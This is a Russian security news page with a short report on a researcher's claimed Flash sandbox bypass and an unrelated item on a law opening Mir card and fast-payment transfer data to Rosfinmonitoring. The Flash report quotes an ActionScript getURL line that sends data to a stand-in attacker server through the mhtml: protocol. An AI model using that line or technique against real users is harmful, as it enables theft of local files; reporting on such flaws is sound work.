Простой способ обхода «песочницы» Flash

Простой способ обхода «песочницы» Flash

Был найден специалистом в области безопасности. Он утверждает, что даже если файл был запущен локально, то для злоумышленника отправить его на удаленный сервер не составит труда.

Как известно, компания Adobe в своей продукции предусмотрела некоторые меры по защите доступа к сети. Одной из мер является встроенная в приложение «песочница», посредством которой осуществляется контроль доступа к сети через черный список. В этот список включены заголовки протоколов, например HTTP и HTTPS.

Однако, исследователь в области безопасности Билли Риос, утверждает, что можно отправлять файлы на сервер, используя в заголовках запись «file:», но в этом случае данные будут гулять по локальной сети. А для отправки данных на удаленный сервер, по его мнению, вполне подойдет заголовок – mhtml.

Этот заголовок по умолчанию поддерживается в операционных системах семейства Windows, и поэтому данные могут быть отправлены при помощи ActionScript команды: «getURL(‘mhtml:http://attacker-server.com/stolen-data-here‘, ”);». Стоит заметить, что для подтверждения своей гипотезы специалист не привел никаких демонстрационных материалов.

Конечно, удивительно, что настолько легко и просто можно обойти одну из «песочниц»
Flash. Однако, это открытие не представляет серьезной опасности, поскольку вряд ли пользователи будут специально скачивать себе на компьютер SWF файл, чтобы просмотреть через плеер. Обычно, такие файлы просматриваются в обозревателе, где предусмотрен иной набор правил.

Госдума открыла Росфинмониторингу доступ к переводам по картам Мир

Госдума одобрила закон, который даст Росфинмониторингу прямой канал к данным о переводах по картам «Мир» и через СБП. Теперь, когда гражданин перечислит кому-то 300 рублей «на кофе», в одном ведомстве как минимум кто-то об этом узнает. Закон принят во втором и третьем чтении и вступит в силу 1 сентября 2026 года — чтобы никто не смог сказать, что не предупреждали.

Документ расширяет «антиотмывочное» законодательство: Росфинмониторинг получит право запрашивать сведения у НСПК — оператора карт «Мир», Системы быстрых платежей и единого QR-кода.

Доступ будет аккуратно оформлен через личный кабинет, а НСПК, как подчёркивают законодатели, не имеет права даже намекнуть кому-то, что данные ушли «куда нужно».

Как именно всё это будет происходить, пропишут в соглашении между Росфинмониторингом и НСПК, причём Центральный банк должен будет поставить печать «одобрено».

Авторы инициативы уверяют: мера закрывает информационные пробелы и должна облегчить жизнь банкам, которым теперь не придётся так часто отвечать на запросы ведомства.

С другой стороны, появится новая реальность: переводы по «Миру» — это уже не только про удобство и кешбэк, но и про то, что за ними теперь официально наблюдают.

RSS: Новости на портале Anti-Malware.ru